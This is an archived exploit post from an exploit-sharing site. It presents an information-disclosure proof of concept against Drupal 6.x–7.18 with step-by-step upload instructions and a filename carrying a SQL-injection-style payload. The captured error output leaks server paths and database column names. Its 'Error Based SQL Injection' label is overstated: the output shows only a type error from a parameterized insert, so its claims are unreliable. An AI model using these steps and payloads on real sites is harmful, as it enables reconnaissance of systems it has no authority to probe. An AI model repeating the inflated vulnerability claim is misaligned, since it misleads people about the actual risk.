exploit the possibilities

Drupal 6.x / 7.18 Information Disclosure

Drupal 6.x / 7.18 Information Disclosure
Posted Jan 2, 2013
Authored by KedAns-Dz

Drupal versions 6.x through 7.18 suffer from getimagesize() path and information disclosure vulnerabilities.

tags | exploit, vulnerability, info disclosure
MD5 | 549e3307efb96846ec1c5a7b529e18e8

Drupal 6.x / 7.18 Information Disclosure

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Drupal 6.x->7.18 getimagesize() <= Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - remote - Multiple
# Type : php - proof of concept - webapp 0day
# Tested on : Windows7
###

# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !

### [ Proof Images ] ####
#
# [1]> http://i45.tinypic.com/2a7tloz.jpg
#
# [2]> http://i50.tinypic.com/2repeyt.jpg
#
#########################

######## [ Proof / Exploit ] ################|=>

##################
# [!] Description:
------------------
This Bug in fonction ' getimagesize() ' is Multiple Vulnerabilities (in Drupal CMS),
When you Upload NULL Image-Size the Script Can't Read the Image Content and show you
some errors, The Attacker can use this bug to get some important information like SQL Info's
or Disclosure the Full Path of drupal.

############################
# [1] Full Path Disclosure :
----------------------------
+> Go to add new Content/Article :
ex : [ http://127.0.0.1/drupal-7.18/node/4#overlay=node/add/article ]
and upload some NULL image (0 bytes), exn: [ UNION+SELECT+database()#.gif ] (with null content/bytes ok!)
and Push UPLOAD ... you get error MSG like this ==>
_________________________________________
Notice: getimagesize(): Read error! in image_gd_get_info()
(line 349 of C:\Program Files\EasyPHP-12.1\www\drupal-7.18\modules\system\image.gd.inc).
Notice: getimagesize(): Read error! in image_gd_get_info()
(line 349 of C:\Program Files\EasyPHP-12.1\www\drupal-7.18\modules\system\image.gd.inc).
_________________________________________

=> in this error msg you can see/disclosure the Full Path ^_^ !, ( see the proof image )

#################################
# [2] Error Based SQL Injection :
---------------------------------
+> The Same steps in the POC [1] , but just POST/Save the Content/Article
and get this SQL Error MSG (ex:) =>
__________________________________________________________
Notice: getimagesize(): Read error! in image_gd_get_info() (line 349 of C:\Program Files\EasyPHP-12.1\www\drupal-7.18\modules\system\image.gd.inc).
PDOException: SQLSTATE[HY000]: General error: 1366 Incorrect integer value: '' for column 'field_image_width' at row 1: INSERT INTO {field_data_field_image}
(entity_type, entity_id, revision_id, bundle, delta, language, field_image_fid, field_image_alt, field_image_title, field_image_width, field_image_height)
VALUES (:db_insert_placeholder_0, :db_insert_placeholder_1, :db_insert_placeholder_2, :db_insert_placeholder_3, :db_insert_placeholder_4, :db_insert_placeholder_5,
:db_insert_placeholder_6, :db_insert_placeholder_7, :db_insert_placeholder_8, :db_insert_placeholder_9, :db_insert_placeholder_10);
Array ( [:db_insert_placeholder_0] => node [:db_insert_placeholder_1] => 7 [:db_insert_placeholder_2] => 7 [:db_insert_placeholder_3] =>
article [:db_insert_placeholder_4] => 0 [:db_insert_placeholder_5] => und [:db_insert_placeholder_6] => 5 [:db_insert_placeholder_7] => [:db_insert_placeholder_8]
=> [:db_insert_placeholder_9] => [:db_insert_placeholder_10] => ) in field_sql_storage_field_storage_write()
(line 448 of C:\Program Files\EasyPHP-12.1\www\drupal-7.18\modules\field\modules\field_sql_storage\field_sql_storage.module).
___________________________________________________________

=> you can see in this msg some SQL informations like (some columns name/content ) etc...

#####
# Happy neW Year 'All Elite Pene-Testers in ( 1337day & PacketStorm ) ^_^ Good Luck in 2013 <3
#####

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close